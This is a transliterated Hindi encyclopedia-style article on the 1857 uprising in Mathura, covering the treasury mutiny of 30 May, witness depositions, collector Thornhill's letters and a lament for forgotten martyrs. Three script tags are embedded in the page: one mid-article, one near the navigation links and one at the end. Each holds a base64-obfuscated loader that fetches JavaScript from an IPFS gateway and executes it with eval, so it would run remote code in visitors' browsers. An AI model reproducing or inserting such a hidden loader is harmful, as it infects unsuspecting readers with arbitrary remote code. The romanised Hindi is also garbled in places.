ब्रज का स्वतंत्रता संग्राम 1857
braj ka svatantrata sangram 1857
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| vivaran | bhagavat mean ‘braj’ kshetr vishesh ko iangit karate hue hi prayukt hua hai. vahaan ise ek chhote gram ki sanjna di gee hai. usamean ‘pur’ se chhota ‘gram’ aur usase bhi chhoti basti ko ‘braj’ kaha gaya hai. 16vian shatabdi mean ‘braj’ pradesh ke arth mean hokar ‘brajamandal’ ho gaya aur tab usaka akar 84 kos ka mana jane laga tha. |
| braj kshetr | aj jise ham braj kshetr manate haian usaki dishaaian, uttar disha mean palaval (hariyana), dakshin mean gvaliyar (madhy pradesh), pashchim mean bharatapur (rajasthan) aur poorv mean eta (uttar pradesh) ko chhooti haian. |
| braj ke keandr | mathura evan vrindavan |
| braj ke van | kotavan, kamyavan, kumudavan, kokilavan, khadiravan, talavan, bahulavan, biharavan, belavan, bhadravan, bhaandiravan, madhuvan, mahavan, lauhajanghavan evan vrindavan |
| bhasha | hiandi aur brajabhasha |
| pramukh parv evan tyohar | holi, krishna janmashtami, yam dvitiya, guru poornima, radhashtami, govardhan pooja, gopashtami, nandotsav evan kans mela |
| pramukh darshaniy sthal | krishna janmabhoomi, dvarikadhish mandir, rajakiy sangrahalay, baanke bihari mandir, rang nath ji mandir, govind dev mandir, isk aaun mandir, madan mohan mandir, danaghati mandir, manasi ganga, kusum sarovar, jayagurudev mandir, radha rani mandir, nand ji mandir, vishram ghat , daooji mandir |
| sanbandhit lekh | braj ka pauranik itihas, braj chaurasi kos ki yatra, moorti kala mathura |
| any janakari | braj ke van–upavan, kunj–nikunj, shri yamuna v giriraj atyant mohak haian. pakshiyoan ka madhur svar ekaanki sthali ko madak evan manohar banata hai. moroan ki bahutayat tatha unaki pioo–pioo ki avaz se vatavaran gunjayaman rahata hai. |
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braj ka svatantrata sangram 1857 |
mathura zile ka yogadan
mathura 30 mee sanh 1857 ee. ki garamiyoan ka din tha. samay sandhya ke char baje the. sthan tha mathura ka kalaktri-sthit sarakari koshagar. koshadhikari daishamaiann the aur zila majistret aur kalaktar mark th aaurnahil the. lutere 67 vian aur 44 vian netiv iannaphaintri ke sashastr sainik the. sena ke kamandar lephtineant barltan dharashayi ho gaye the. char lakh sath hazar, ek sau chaandi ke rupayoan se bhari gyarah bailaga diyoan par ladian lohe ki sephoan ka agara ki jagah par dilli ko prasthan ho gaya tha. koshagar mean bache hue do lakh rupayoan ki mathura sadar ke logoan dvara loot kar li gee thi aur prashasan stabdh rah gaya tha.
mathura ke shasan ki lagam bharatiy sainikoan ke hathoan mean a gayi thi. yooropiyan bangale aur kalaktri-bhavan sab ag ko samarpit kar mathura jel ke bandi karagar se mukt ho gaye the. videshi hukoomat ko mitakar svadhinata ka shankhanad karane vale, aantim mugal samrat bahadurashah zafar ke hath mazaboot karane bharat mata ke viplavi sapoot garvonmat bhav se machal p de aur chal p de kosi ki disha mean sherashah soori raj marg se, jahaan aangrezi sena dilli ki or se mathura ki or ane vale bharatiy krantiviroan ke tiddi daloan ko rokane ke uddeshy se jama thi. thaanrnahil svayan p dav dale p da tha. yah sanasanikhej kahani kisi kalpit upanyas ka hissa nahian hai, balki ek aitihasik dastavej hai, jo khud aangrez kalaktar ki qalam se pashchimottar prant ke agara sthit tatkalin gavarnameant sekretari si. bi. th aaurnahil ke nam 5 joon 1857 ko likha gaya tha. is aitihasik ghatana ka sar sankshep mean is tarah hai.
paltanoan ka khula vidroh
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chitr:Blockquote-open.gif chah nahian maian surabala ke gahanoan mean gooantha jaooan, chah nahian premi-mala mean biandh pyari ko lalachaooan, chah nahian, samratoan ke shav par, hai hari, dala jaooan chah nahian, devoan ke shir par chadhooan bhagy par ithalaooan! mujhe to d lena vanamali! us path par dena tum pheank, matribhoomi par shish chadhane jis path javean vir anek . pushp ki abhilasha. kavi: makhanalal chaturvedi
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vigat do mah se 67vian paltan mathura mean sarakar ki or se tainat thi. usake kary mukt hone ka samay ho chuka tha. usake sthan par 44vian netiv iannaphaintri ko karyabhar grahan karana tha. pashchimottar prant ke lekhakar ke adeshanusar karyamukt 67vian paltan ko dayitv sauanpa gaya ki vah mathura ke atirikt khazane ko agara pahuancha de. tadanusar, nayi kampani ke a jane par koshadhikari daishamaiann ne 4 lakh 60 hazar ek sau tatha farrukhabad ke khazane ko das bailaga diyoan mean ladava diya. gyarahavian aur antim ga di taiyar ho rahi thian aur jaise hi vah lain mean pahuanchi ki 67 vian paltan ke ek sainik ne kamaandar barltan se poochha -'kooanch kahaan ko hoga.' barltan ka k dadar uttar aya-'agara ki or aur kahaan ?' sainik ka prashn tha- 'dilli ko kyoan nahian' barltan k daka- 'badamash. beeeman.' shabd poora hote n hote sainik ki bandook garaj uthi- 'dhaany' . goli barltan ki chhati ko chirati chali gee. vah dharashayi ho gaya.
th aaurnahil likhata hai ki 44 vian paltan bhi turant vidrohiyoan se ja mili. jamakar yooropiyanoan par golianyaan dagi gee. karyalay mean us samay jitane yooropiyan aur eesaee the, jahaan tahaan jan bachakar bhagane aur chhipane lage. yah sanyog hi kaha jayaga ki 44 vian paltan ke kamaandar ko chho dakar sabhi bach nikale. kamaandar gibans ki hatheli phat gee. vidrohiyoan ne karyalay mean ag laga di aur sarakari abhilekhagar ko nasht kar dala. asapas jitane bhi bangale videshiyoan ke the, sab jalakar tahas-nahas kar dale gaye. koshagar mean jo bachi sampatti aur dhanarashi thi, vah bhi sabhi samipavarti logoan dvara, sanbhavat: loot li gee. karagar mean jitane bhi bandi the, jel to dakar mukt kar diye gaye. bandiyoan ko shahar laya gaya aur loharoan se unaki hathak diyaan-be diyaan katavaee gee. karagar ke prahari bhi krantikariyoan ke sath ho liye.
si. eph. harve, kamishnar agara ko apane 10 agast 1857 ke ek aur patr mean thaanrnahil likhata hai ki yooropiyan logoan ko vidroh ki pahali soochana karyalay mean lagi ag ki ooanchi lapatoan se mili. ve sab bachakar agara ko bhag liye. karagar ke prahari bhi krantikariyoan ke sath mil gaye aur khazane ke sath dilli ki or chal diye. s dak ke sahare jo bhi karyalay ya bangala, chuangi chauki, pulis chauki ya koee bhi sarakari bhavan mila, sab phooank diye gaye. raste ke sabhi zamiandar vidrohiyoan ke sath ho gaye. kosi mean pravesh kar gaye. raghunath sianh ke pas bhari sankhya mean sainik the, kintu usane vidrohiyoan ko nahian chhe da aur ve pravesh kar gaye. raghunath sianh ke adhikar mean mathura ke seth ki di huee do top bhi thian aur vah vidrohiyoan ko rokane ke uddeshy se tuk di ke sath kosi bheja gaya tha. parantu, usane unhean n roka. ulte usane kosi ki loot mean vidrohi sainikoan ki sahayata ki. yahi nahian, kosi mean usane thaanrnahil ki niji sampatti bhi loot li.
sainik ga diyoan par lade matr 5 lakh rupaye le ja sake the. sava lakh ke lagabhag khazana abhi koshagar mean jama tha, jisamean rupaye, paise aur javaharat adi the, jo yooropiyan logoan ne suraksha ki drishti se jama kar rakhe the aur bina unhean nikale ve agara ko bhag gaye the. jaise hi jnat hua ki khazane mean sampatti chhoot gee hai, poora shahar use lootane ko toot p da. inaka netritv shahar kotaval kar raha tha aur bharatapur paltan ke sainik bhi luteroan mean sammilit the. jab tak ag ki lapatean unhean jhulasane n lagian, ve lootapat karate rahe. loot ke bad ve paraspar l dane lage aur bhayankar viplav mach gaya. sarvadhik 30 log isamean kal ka gras bane. yah ghatana 30 mee ki hai .
th aaurnahil 29 mee ko kosi pahuanch chuka tha. 30 mee ki sham daishavud, kalavin, giban, j aauyas namak aangrez adhikari aur kalaktar ka haidaklark kosi pahuanche aur unhoannean kalaktar ko koshagar ki paltanoan tatha any dvara loot ka vrittaant sunaya. th aaurnahil tatkal kaipten niksan se milane chal p da. raste mean usane raghunath sianh ko bulavaya magar usane ane se inkar kar diya. yahi nahian usane kalaktar ko apane tamboo mean ghusane bhi nahian diya aur seth ki donoan topean bhi nahian dian. pakki khabarean mil rahi thian ki dilli ki or akoot sankhya mean krantikari kosi pahuanchane vale haian. at: niksan unase nibatane ki taiyari mean tatpar hua. kintu usaki paltan ne ulte usi par bandooqean tan dian. ab bharatapur paltan bhi khule vidroh par utar aee. niksan aur tharnahil ke samane jan bachakar bhagane ke atirikt ab aur koee vikalp n tha. phirangi si. eph. harve ke sath sena ko aur th aaurnahil j aauyas ke sath mathura ki or chal p de .
31 mee ke prat: poorv 3 baje tharnahil mathura a saka. yahaan usane jalate hue karyalay ko dekha aur sahayatarth agara ko chal p da. raste mean kee gaanvoan se us par goliyaan dagi geean. magar yenaken prakaren vah bach nikala. apane patr mean tharnahil ne yah svikar kiya hai ki sara desh ek sath ekajut uth kh da hua hai. shasan ka nam nahian raha. arajakata vyapt hai. prashasan ko lakava mar gaya hai. agami sham ko vah mathura laut aya. use agara se kisi prakar ki sahayata n mil saki. vah seth govindadas ki haveli mean pahuancha, jahaan use sasamman sharan di gee. haishamain dampati pahale hi vahaan maujood the. 31 mee ko logoan ne sadar chhavani mean bhayankar lootapat ki. bangale jala diye gaye. jo nahian jalaye gaye, unaka saman yahaan tak ki kiva d chaukhatean tak ukha dakar log le gaye. sahar, kosi aur nauhajhil ki tahasil bhi lootapat aur nash ki shikar bani. raya mean acharoo ke raja devisianh ne raya thane par adhikar kar liya. sadabad mean devakaran ke netritv mean krantivir sakriy ho uthe .
mathura mean 30 mee ki ghatana ke kalaktri karmachariyoan ke sakshy vaktavyoan ka anuvad is prakar hai-
lala thakur prasad syah nabis ka sakshy
pita ka nam- durga prasad,
jati-kayasth,
varttaman nivasi-mathura,
ayu-37 varsh,
vyavasay-naukari .
prashn- mee 30, 1857 ee. ko 4 baje ke bad tilanga vidrohi mathura ke khazane ko dilli le gaye. unhoannean karyalay mean ag lagaee. tum vahaan the. ghatana ka vistrit vivaran do .
uttar- 30 mee 1857 ko kaptan shri devid aur shri kalavin ne 4 lakh 60 hazar ki dhanarashi bailaga diyoan par ladavaee aur agara le jane ke liye soobedaroan aur tilangoan ko sauanp di. shesh 1 lakh 40 hazar ki rashi khazane ki tizoriyoan mean tale mean band chho d di. isi bich tilango ne kaptan(barltan)ko goli se bhoon diya aur any aangrezoan par bhi goliyaan chalaee. kintu ve bach gaye aur ek brahran mara gaya. isake bad aangrez aur eesaee mathura ki or bhag gaye. kuanjilal bhay ke mare apani jagah se n hil saka aur vah charoan or se ghir gaya. tab tilange kamare mean ghuse aur unhoanne kuanjola, haradayal ko aur mujhe kamare se bahar nikal diya. ham mathura bhag gaye. tilanga hamean jan se marana chahate the kintu ek havaladar ne hamean bachakar ek kinare se bachakar nikal jane ko kaha. maian ghabaraya hua tha. maiannean kisi vishesh vyakti ko vidrohiyoan mean nahian dekha. jab hamane koshagar chho da tha, tilange aur khazane se ladi ga diyaan vahi kh di thian. hamare chale jane ke bad tilange unhean le gaye. unhoanne mathura chhavani mean bangaloan ko ag lagaee aur dilli marg par chale gaye.
keshavasianh chaparasi ka sakshy
pita ka nam- ram vakhsh thakur
nivasi-itava
ayu-40 varsh
vyavasay-naukari
prashn- 30 mee,1857 ee. ko vidrohi tilangoan ki palatanean mathura khazane ko dilli le gaye aur unhoannean karyalay-abhilekhoan ko jalaya. kya tum vahaan upasthit the ? ghatana ka vivaran do.
uttar- mujhe tithi yad nahian haian. khazana bailaga diyoan par agara ke liye lada tha. sare chaparasi bailaga diyoan tak khazane se thaili ko le ja rahe the. 11 ga diyoan par 4 lakh rupaye lade gaye the. ek lakh rupaye tatha paisoan se bhare baks kothi mean chho d diye gaye the. shesh khazane se bhari tizori ki chabi chhote sahab( jv aauiant majistret) ke pas thian. ladi ga diyaan nim ke pe d ke tale kh di thian. mujhe kaptan sahab ke nam ki janakari nahian hai. vah ga diyoan ko gin rahe the. tabhi ek tilange ne unhean goli se mar diya. tab tilangoan ne chhote sahab aur doosare kaptan par goliyaan dagian, jo khazane ke baramade mean kh de the. kintu ve chutail nahian hue. isase sita brahman ghayal ho gaya aur tatkal mar gaya. tab kaptan aur any aangrez mathura ki or bhag gaye . dipti kalaktar gulam husain, nayab najir aur kuchh chaparasi tab bhi tahasil par rahe aye. jab tianlangoan ne tahasil ki imarat mean ag laga di, tab ve tahasil chho dakar sadar bajar chale gaye. tilangoan ne unase kaha- 'ap kahaan ja rahe haian ? hamare sath aiye .' kintu ve raphoochakkar ho gaye. sooryast se pahale tilangoan ne karyalay phooank diya aur khazana le gaye. jate samay unhoanne hamase bhi apane sath chalane ko kaha. ise sunakar nayab najir muhammad husain, alla vakhsh, ahamad khaan chaparasi, jisaka nam ab mujhe yad nahian, hauli palledar, ath kuli-jo khazana ladavane aye the aur maian vahian bane rahe. ham sadar bazar janali daftari ke ghar gaye. nayab najir aur chaparasi usake ghar rook gaye. maian sadar bazar ke dvar ke pas mandir par rooka raha. rat ke aandhere mean lagabhag 8 baje maianne sadar bazar aur mathura ke doosare logoan ko rajakoshagar ko samoohoan mean jate dekha. jo kuchh khazane mean bacha tha, un logoan ne loota. doosare din savere kuchh ghu dasavaroan ke sa mathura ke kotaval, sadar bazar ke kotaval aur nayab najir muhammad husain kothi par aye, jabaki poori sat kothi ag ki lapatoan mean jalian aur khulian rahian. nayab najir ne ek lutere se yah kahakar paisoan se bhara ek thaila jabaradasti chhin liya ki yah vapis khazane mean jama kiya jayaga. yadi adhikariyoan mean se kisi ne bhi niyamitata barati hoti to tilangoan ke khazana lootane ke bad bacha hua dhan surakshit kiya ja sakata tha .
prashn- aangrezoan ke chale jane ke bad dipti kalaktar gulam husain koshagar parisar mean kitani der ruke rahe ?
uttar- dipti sahab vahaan char gh di bane rahe. us samay maianne staph ke any kisi vyakti ko nahian dekha .
prashn – tilangoan ne kis samay us sthan se khazane ko hataya ? aur bache khuche khazane ki loot kab arambh huee ?
uttar- 6 baje tilange kothi se prasthan kar gaye aur 8 baje samany janoan ne bache khuche khazane ki loot aranbh ki. maianne yah sab svayan apani aankhoan se dekha .
prashn- un luteroan mean se kya tum kisi ko pahachanate ho ?
uttar- us samay rat thi aur us samay sadar bazar tatha shahar ke hazaroan adami the .
4 march 1858 ko zila mathura ke karyakari majisdret aee. ke 0 baist ke nyayalay mean mrityu-dand pane vale akhtiyar khaan ke viruddh arop patr ka udhdaran-
sakshy se yah bahut spasht ho gaya hai ki pratipakshi gadariyoan –arthath 44 vian netiv inpheantri rejimeant aur 67vian palatan ke sath kosi aya tha, jisane unake ek adhikari(barltan) ki hatya ki aur doosare (giban) ko ghayal karake mathura koshagar ka 4 lakh rupaya loota tha. pratipakshi ek gho de par savar tha. isamean koee sandeh nahian hai ki vah apani ichchha aur svikriti se kastam karyalay ke asankhy karmachariyoan ke sath gadariyoan ke sath sammilit hua tha. tatpashchath vah dilli gaya. kaipten barltan jahaan dharashayi hua tha, vahaan usake nam ka patthar abhi bhi laga hua hai, jo ghani jangali jha diyoan se dhaka hua hai. is sada patthar par likha hai-
Sacred to memory of P.H.S.Burlton.Sixty Seventh Infantry ,Who was shot by a detachement of his regiment and of the Eleventh native Infantry near this spot on 30th of May 1857.This tomb is erected by his brother officers.
kintu svadhinata sangram 1857 mean jis amar shahid akhtiyar khaan ne kranti ki pahali mashal hazaroan hazar shooraviroan ka netritv karake prajvalit kar apana jivan matribhoomi ki balidevi par bheant chadhaya, kya usaki pavan smriti mean aj svatantr bharat mean bhi koee smarak patthar nahian lagana chahiye tha ? yadi yah dalil bhi man li jay ki akhtiyar khaan ek anaitihasik nam haian aur aise anek ajnat nam haian, parantu ham nanarav dhundhoopant ko to anaitihasik nam nahian kah sakate. nanarav ke mathura sthit bhavan aur bag ko kalaktar th aaurnahil ne navambar 1857 mean mathura ke shahar kotaval ko adesh dekar dhvast karake shahar bhar ki gandagi bharava di thi. nanarav saparivar bhatije balarav ke sath jahaan krantikal mean bhi thahare the, us sthan ki pavitrata ki raksha to door, aj ke peanshanar svadhinata sangram senaniyoan aur lekhakoan ko is tathy ki janakari tak nahian to nanarav ke hi smarak ki sudhi lene ko kise aj is svarthi jagath mean avakash hai ? pratham shahid sita brahman, raja devisianh, shriram, devakaran adi ka nam lena bhi shayad shesh n hoga, haan th aaurnahil ke pranarakshak jamadar dilavar khaan ka nam puraskritoan ki soochi mean graus ne avashy likha tha. kya 1857 ke shahidoan ki deshabhakti ke prati ham kritaghn nahian kahalayegean ?
tharnahil ka patr
mark tharnahil ne di0 10-8-1858 ko si. eph. harve, kamishnar, agara ke nam likhe patr mean mathura mean hue sangharsh ka varnan is prakar hai- 14 mee sanh 1857 ee. ko gu dagaanv ke kalaktar se mujhe soochana mili hai ki vidrohi mathura zile ki or pahuanche rahe haian. soochana pakki nahian thi kintu bad mean zile ki uttari simaoan par base hue kastams aur relave vibhag ke yooropiyanoan ke patroan se yah soochana pusht huee. yooropiyan striyaan tatha any nagarik tatkal hi agara bhej diye gaye. doosare din aur agami dinoan mean koee pakki soochana nahian mil saki. gu dagaanv ke tatha mathura ke uttari bhag se aye hue yooropiyan log tatha doosare log sanasani bhari soochanayean lekar aye ki vidrohi sena pahuanch chuki hai. in sabhi se yah sar nikala ki poori vidrohi sena agara par akraman karane ke uddeshy se chal p di hai. 16 mee ko kaptan niksan bharatapur sena ko lekar mathura a gaya. doosare din jnat hua ki vidrohi sena ke aneki soochana saty nahian thi. kaptan niksan ne tab dilli ki or kooanch karane ka nishchay kiya. mere vichar se usane dilli agara marg ko kholane tatha kamaandar in chiph se samayojan karane ki drishti se aisa nishchay liya. is samachar se poori abadi mean avyavastha phail gee thi ki dilli par vidrohiyoan ne adhikar jama liya hai aur dilli ke badashah ne ghoshana kar di hai. visheshakar baniyoan par aur purane jamiandaroan dvara nayoan se bhoomi chhinane ko hue hamaloan ke karan ye upadrav ho rahe the.
khazana agara ko
sava chhai lakh rupaya khazane mean tha, jo agara ki kisi deshi paltan ki chaukidari mean tha. vyaktiyoan ke anusar aur mujhe vyaktigat prapt huee soochanaoan ke adhar par maianne agara ko sabal sanstuti ke sath likha ki khazana agara bhej diya jay. use bhejane ke liye bailaga diyaan karyalay par taiyar kh di thian. durbhagy se meri sanstuti kisi ne n suni. 19 mee ko kaptan niksan dilli ki or kooanch kar gaya. maianne usaka sath diya aur ham lambe p dav dalate hue dhire-dhire age badhe. shahar ki raksha ke liye ek tuk di pichhe chho d di gee. paryapt sankhya mean nayi pulis bharti kar li gee thi. naye savar bhi badhane ka prayas kiya gaya kintu isamean saphalata kam mili. shahar ki b di suraksha seth govind das aur radhakishan ke hathoan mean thi. unhoanne apane vyay par adamiyoan ki ek b di sankhya kh di ki thi aur apane prabhav se shaharavasiyoan ko shant rakha tha. jvaanit majistret klikord ko shahar prabhari ke roop mean pichhe chho d diya tha. kintu shighr hi vah bimari ke karan chala gaya aur unake sthan par daishavud ko rakha gaya. iliyat kalbin usaka sahayak banaya gaya. 23 mee ko any yooropiyan nagarikoan ke sath ap svayan sena mean sammilit ho gaye the. 25 mee ko sena kosi pahuanch gee. doosare din hodal pahuanchakar usane p dav dala. hodal gu dagaanv zile mean hone ke karan maian kosi mean ho rah gaya. bharatapur paidal sena ke 300 javan aur do topean raghunath sianh namak ek saradar ke netritv mean mere sath rah gaye the. ye do topean seth dvara udhar di gee thian. zile mean upadrav sankhya aur vividhata mean badh gaye the. paragana maant ka zamiandar kuanvar diladar ali khaan graminoan dvara mar dala gaya tha. 23 mee ko usaka ek sambandhi umarav bahadur, jisaki nauhajhil paragana mean jamiandari thi, graminoan dvara apane ghar mean hi gher liya gaya tha. hamare bal ke pahuanchane par gramin bhag gaye aur tab vah bach paya. kuchh hatyayean aur hueean aur kuchh doosare upadrav bhi hue, jo mujhe yad nahian haian.
| left|30px|link=braj ka jat maratha kal|pichhe jaean | braj ka svatantrata sangram 1857 | right|30px|link=braj ka svatantrata sangram 1920-1947|age jaean |
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>